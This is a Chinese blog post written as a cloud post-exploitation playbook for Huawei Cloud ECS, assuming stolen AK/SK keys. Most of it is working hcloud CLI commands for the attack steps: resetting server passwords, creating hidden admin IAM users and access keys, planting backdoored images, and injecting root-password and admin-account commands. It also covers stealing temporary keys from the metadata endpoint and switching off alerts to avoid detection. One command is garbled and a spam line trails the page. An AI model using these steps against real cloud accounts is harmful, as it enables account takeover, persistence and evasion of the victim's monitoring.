<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    華為云 ECS彈性云服務器攻防

    VSole2022-04-13 15:58:04

    下面所講的大部分操作是基于拿到華為云用戶泄漏的AK、SK或者憑證而進行的一系列操作。

    0x01 初始訪問

    1、元數據

    華為云元數據地址:http://169.254.169.254,需要注意直接訪問是看不到openstack目錄的,下面列舉幾個常見的目錄:

    /latest/meta-data/local-ipv4 #用于查詢彈性云服務器的固定IP地址。多網卡情況下,只顯示主網卡的地址。/latest/meta-data/hostname #用于查詢彈性云服務器的主機名稱,后面會追加.novalocal后綴/latest/meta-data/instance-type #用于查詢彈性云服務器的規格名稱。/latest/meta-data/placement/availability-zone #用于查詢彈性云服務器的AZ信息。/latest/meta-data/public-keys/0/openssh-key #用于查詢彈性云服務器的公鑰/openstack/latest/meta_data.json #用于查詢彈性云服務器的元數據/openstack/latest/user_data #用于查詢彈性云服務器的自定義數據。/openstack/latest/network_data.json #查詢彈性云服務器的網絡信息,支持查詢云服務器掛載的全部網卡的信息,包括網卡所在子網的DNS地址、網絡帶寬、網卡ID、網卡私有IP地址、網卡彈性公網IP地址、網卡的MAC地址。/openstack/latest/securitykey #獲取臨時的AK、SK
    

    2、憑證泄漏

    • 控制臺賬號密碼泄露,例如登錄控制臺的賬號密碼(主賬號異地登錄需要驗證碼,IAM賬號登錄只需要用戶名和密碼)
    • 臨時憑證泄露
    • 訪問密鑰泄露,即 AccessKeyId、SecretAccessKey 泄露

    3、賬號劫持

    云平臺本身的漏洞,可以劫持其他用戶的賬號

    華為云api explorer會給每個用戶分配一臺docker機器,大家可以研究下是否可以提權、逃逸從而進入別人的容器中。

    4、網絡釣魚

    通過向管理員或運維人員發送釣魚郵件、社工來獲取用戶憑證。

    0x02 命令執行

    1、接管控制臺

    如果AK/SK的權限夠高,就可以創建同權限的賬號來達到接管控制臺,在下面的第3章的第2節我們會講到這個。


    2、服務器命令

    很遺憾,華為云ECS只有登錄服務器才可以執行命令,哪怕拿到了賬號登錄控制臺也需要服務器的賬號密碼。

    但是拿到泄漏的AK SK可以控制服務器的關機啟動和修改密碼(動靜太大),下面介紹下拿到AK/SK如何修改服務器密碼和開關機。

    首先我們需要利用云服務器的地區和終端節點來爆破用戶擁有的服務器。

    https://developer.huaweicloud.com/endpoint #官方地區和終端節點。

    hcloud ECS ListServersDetails --cli-region="cn-south-1"  #切換區域ID查詢服務器
    

    需要用到id(命令里的server_id)和tenant_id(命令里的project_id)

    修改密碼:

    #企業版hcloud ECS ResetServerPassword --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f0e683b8531" --server_id="1fb786d9-4958-a294-4d6c24e1ab1c" --reset-password.is_check_password=true --reset-password.new_password="1234qwer"
    #個人版hcloud ECS BatchResetServersPassword --cli-region="cn-south-1" --project_id="0a8453d1f700c00e683b8531" --servers.1.id="1fb786d9-a294-4d6c24e1ab1c" --new_password="1234qwer"
    

    啟動服務器

    hcloud ECS BatchStartServers --cli-region="cn-south-1" --project_id="0a8453d1f7121283b8531" --os-start.servers.1.id="1fb786d9-5121ab1c"
    

    關閉服務器

    hcloud ECS BatchStopServers --cli-region="cn-south-1" --project_id="0a8453d112c00e683b8531" --os-stop.servers.1.id="hcloud ECS BatchStartServers" --cli-region="cn-south-1" --project_id="0a8453d1f121200e683b8531" --os-start.servers.1.id="1fb7121-4958-a294-41224e1ab1c""
    

    華為云購買服務器時默認的賬號為root權限,如果用戶未做權限限制,拿到shell就不用提權了。

    3、利用后門文件

    任意文件上傳,文件包含,解析漏洞等。

    4、利用遠程代碼執行漏洞

    fastjson反序列化,shiro反序列化等等。

    5、SSH賬號密碼泄漏等

    0x03 權限維持

    此處就只演示使用華為云cli如何操作,控制臺如何操作就沒必要演示了。

    1、新增服務器

    新建一臺指定網段的服務器來作為跳板機。

    hcloud ECS CreatePostPaidServers --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --server.data_volumes.1.volumetype="SSD" --server.data_volumes.1.size=40 --server.vpcid="123456" --server.name="huoxian" --server.nics.1.subnet_id="12345" --server.root_volume.volumetype="SSD" --server.root_volume.size=40 --server.flavorRef="12" --server.imageRef="123" --server.user_data="#! /bin/bash echo user_test >> /home/user.txt"
    

    這里解釋下里面參數的意義和如何拿到這個參數,帶*的參數是需要其他命令獲取的。

    --cli-region  #地區--project_id #用戶ID,前面有介紹 --server.data_volumes.1.volumetype #云服務器數據盤對應的磁盤類型,需要與系統所提供的磁盤類型相匹配--server.data_volumes.1.size=40 #磁盤大小--server.vpcid="123" #vpc的ID--server.name #云服務器名稱--server.nics.1.subnet_id #待創建云服務器所在的子網信息--server.root_volume.volumetype #云服務器系統盤對應的磁盤類型,需要與系統所提供的磁盤類型相匹配 --server.root_volume.size=40 #磁盤大小--server.flavorRef #待創建云服務器的系統規格的ID--server.imageRef #待創建云服務器的系統鏡像--server.user_data #創建云服務器過程中待注入用戶數據
    

    查詢VPC列表

    hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8451200e683b8531"
    


    查詢地址組列表

    hcloud VPC ListAddressGroup/v3 --cli-region="cn-south-1" --project_id="0a845123b8531"
    

    查詢規格詳情和規格擴展信息列表

    hcloud ECS ListFlavors --cli-region="cn-south-1" --project_id="0a8453d1123b8531"
    

    查詢鏡像列表

    hcloud IMS ListImages --cli-region="cn-south-1"
    

    這樣就可以創建一臺指定密碼、指定網段的服務器,可以當作跳板機。

    2、新增賬號

    需要注意的是密碼得強規則

    hcloud IAM CreateUser --cli-region="cn-south-1" --user.domain_id="0a845312120e3d660" --user.pwd_status=false --user.name="test" --user.access_mode="console:" --user.enabled=true
    

    --user.domain_id #參數從下面命令中獲取

    hcloud IAM KeystoneListAuthDomains --cli-region="cn-south-1"
    

    其他參數意義

    --user.pwd_status #新增賬號后初次登陸不需要修改密碼,默認為true--user.access_mode #賬號權限     default:默認訪問模式,編程訪問和管理控制臺訪問。    programmatic:編程訪問。    console:管理控制臺訪問。--user.enabled #是否啟用賬號,默認為true
    



    還有一種添加命令,只不過該命令無法指定郵箱和手機號碼。

    hcloud IAM KeystoneCreateUser --cli-region="cn-south-1" --user.password="123123" --user.name="huox"
    

    當我們添加了賬號后,還需要給當前賬號添加用戶組。

    hcloud IAM KeystoneAddUserToGroup --cli-region="cn-south-1" --group_id="0a84535a9380f2343fdcc00e38def544" --user_id="642195374d894c0cab5c3f00c57226c9"
    

    此處需要group_id,從下面獲取;此處需要注意的是我們要看好用戶組的具體權限,一般admin是默認的超級管理員權限

    hcloud IAM KeystoneListGroups --cli-region="cn-south-1"
    

    返回控制臺看下


    接下來就是登錄控制臺了

    https://auth.huaweicloud.com/authui/login?id=stay0D

    使用剛才創建的賬號登錄控制臺

    可以看到已經是超級管理員了

    關于登錄地址,我們在查看用戶詳情的時候會看到用戶的name,上面查到的就是stay0D,我們只需要把這個拼接到URL中id參數后就可以,所有添加的IAM賬戶,包括子賬號添加的賬號也是用同樣的登錄地址。

    3、新增AK/SK

    我們可以新添加用戶的AK/SK(限制是每個賬號只能擁有兩個密鑰)

    hcloud IAM CreatePermanentAccessKey --cli-region="cn-south-1" --credential.user_id="90f761284f49953f"
    

    --credential.user_id #用戶ID
    

    獲取用戶ID從下面獲取

    hcloud IAM KeystoneListUsers --cli-region="cn-south-1"
    

    hcloud IAM DeletePermanentAccessKey --cli-region="cn-south-1" --access_key="xxxxxxx"
    

    4、鏡像服務

    我們可以刪除,或者創建同名的鏡像文件,將后門植入到鏡像中,當用戶使用鏡像新建實例的時候,就會帶入我們植入的惡意代碼了。

    5、遠程軟件控制

    Windows——向日葵RCE

    0x04 權限提升

    華為云ECS Linux默認為root權限,需謹慎配置;其他提權姿勢和常規提權一樣。

    0x05 防御饒過

    1、關閉告警通知

    當我們進行入侵的時候,可以關閉掉告警通知,尤其實時告警,可以延長我們入侵被發現的時間,需要注意的是,告警只能通過控制臺操作,無API。

    2、關閉訂閱

    本來想的是修改賬號聯系人的信息,郵箱和手機號碼,但是修改時需要驗證碼,行不通,但是我們也可以修改訂閱管理,關閉掉所有的通知消息。

    0x06 信息搜集

    1、元數據

    a、自定義數據

    其中 openstack/latest/password 可查詢彈性云服務器的密碼,Windows系統使用keypairs創建彈性云服務器初始化時cloudbase-init用于保存密文密碼。

    openstack/latest/user_data 可查詢彈性云服務器的自定義數據,這里簡單介紹下這個文件能干什么。

    在創建云服務器的時候,有一個選項是實例自定義數據注入,什么時候會用到這個呢,當我們需要創建多個服務器的時候,為了方便管理,需要對網絡和密碼等進行統一操作。

    這里我們可以插入我們想要在服務器剛創建時執行命令,比如創建自定義的密碼。

    #!/bin/bash echo 'root:$6$V6azyeLwcD3CHlpY$BN3VVq18fmCkj66B4zdHLWevqcxlig' | chpasswd -e;
    

    或者需要執行的其他命令,而user_data文件中數據就是上面的命令,如果選擇了實例自定義數據注入,就會從元數據中看到這些數據。

    #Windowsrem cmdnet user abc password /addnet localgroup administrators abc /add
    

    注意的是實例自定義數據注入只有創建服務器的時候才會有,后續無法進行修改。

    b、臨時的AK、SK

    http://169.254.169.254/openstack/latest/securitykey #獲取臨時的AK、SK
    

    臨時的AK、SK有效期一個小時,拿到后通過華為云cli可以進行進一步的利用,包括新建賬號、服務器等操作,如上面第3章有所講述;需注意的是華為云元數據沒有用戶臨時token。

    2、獲取服務器實例登錄賬號

    可以使用mimikatz等工具抓取windows服務器的憑證。

    3、鏡像服務

    如果用戶在制作整機鏡像時未將敏感數據刪除,那我們就可以將鏡像導出到OBS桶中,然后下載到本地重新搭建,在其中尋找一些敏感數據。

    首先看下用戶制作的鏡像,然后將私有鏡像導出到OBS桶中。

    然后訪問存儲桶下載或者從控制臺下載

    下載后通過VMware等其他軟件打開就可以,在信息搜集的時候可以留意一下

    4、云備份共享

    將對方的云備份共享至自己的賬號(只能在控制臺操作)









    0x07 橫向移動

    1、子網信息

    通過網絡控制臺-虛擬私有云查看具體網段信息


    或者使用華為云cli查看

    hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"
    

    也可查看元數據猜測(不全)

    http://169.254.169.254/openstack/latest/network_data.json #元數據猜C段
    

    2、訪問憑證

    • 拿到賬號密碼登錄實例
    • 修改實例密碼后登錄

    • 新建同網段服務器

    3、負載均衡

    如果內網機器無法出網且對方有使用負載均衡,我們登錄控制臺后可以將內網的指定端口通過負載均衡映射到公網。


    首先需要添加監聽器,輸入公網前端端口(就是我們直接訪問的端口)和后端分配的端口(內網服務器的端口),然后在后端服務器組添加內網的服務器就可以了。

    這就是最終的效果,通過ELB讓內網機器出網

    0x08 影響

    1、子域名接管

    其實就是實例銷毀后未將域名解析到正確的IP

    上面就是某SRC廠商的失誤操作,導致子域名解析到一臺個人服務器上,就是這個IP歸屬無法控制。

    2、資源劫持

    肉雞,挖礦等

    0x09 總結

    師傅們可以對照著前幾位師傅的文章觀看

    命令模式ecs
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    下面所講的大部分操作是基于拿到華為云用戶泄漏的AK、SK或者憑證而進行的一系列操作。0x01 初始訪問 1、元數據 華為云元數據地址:http://169.254.169.254,需要注意直接訪問是看不到openstack目錄的,下面列舉幾個常見的目錄:
    0x00 前言本文將以阿里云為例,對云服務中的一些攻防手法進行演示,首先利用 Terraform 進行 ECS SSRF 漏洞環境的搭建,然后通過實例中存在的 SSRF 漏洞一步步拿下該云服務賬戶的所有的阿里云服務權限。接下來開始搭建靶場,首先克隆靶場項目到本地,并構建下載靶場所需的依賴。由于剛才在創建用戶時,賦予了 AdministratorAccess 權限,因此在 RAM 訪問控制處可以看到,當前賬號擁有管理所有阿里云資源的權限。至此,就實現了利用云服務器上的 SSRF 漏洞接管了阿里云控制臺。
    Matano是一款針對AWS的開源安全湖平臺,該平臺允許我們從各種數據源獲取并注入大量和安全以及日志相關的數據,并將其存儲到一個開源的Apache Iceberg數據湖中,同時這也方便廣大研究人員進行后續的安全數據查詢。除此之外,該工具還會創建Python腳本對代碼進行實時監測,并會在檢測到問題是發出實時警報。
    System權限是在數據庫中,為了方便接下來的滲透,思路是將System權限上線到CobaltStrike上,在此處執行了從自己的VPS上下載免殺木馬并執行的操作,顯示執行成功,但并未上線。猜測這是臺阿里云的ECS,對出站端口進行了限制,所以反彈不回來。這樣才算是完全控制了這臺云服務器。于是重新生成了木馬,再次在Navicat里執行,它居然上線了!
    分目錄站點 ?形如: www.xxx.com www.xxx.com/bbs www.xxx.com/old ?滲透思路:網站可能有多個cms或框架組成,那么對于滲透而言,相當于滲透目標是多個(一個cms一個思路) 分端口站點 ?形如:www.zzz.com www.zzz.com:8080 www.zzz.com:8888 ?滲透思路:網站可能有多個端口或框架組成,那么對于滲透而言,相當
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    可以認為IAM分成兩類,一個是AWS提供的IAM,這是一個完整的身份管理系統,但AWS只提供了系統,基于該系統的配置及信息維護,由客戶完全負責。AWS 提供了虛擬網絡及其之上的VPC,子網,ACL,安全組等,客戶需要準確設計配置自己的網絡,以確保正確的隔離和防護。用戶控制權限的修改通常由特權用戶或者管理員組實現。
    目前已經有超過 10 萬“白帽子”參與,積累漏洞超過 5 萬個,其中高危漏洞 3 萬多。主流公開漏洞庫均采用了 CSVV 漏洞評價體系,眾多安全廠商也根據各自對 CVSS 的理解制定出不同的評定標準。此外,有將近一半短期內可被利用的漏洞 CVSS 基本得分低于 7,這將導致安全運營團隊忽略大量高風險漏洞。靜態評價在收到漏洞時即啟動,對漏洞自身影響等進行風險評價,以便進行提前預防處理和預警。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类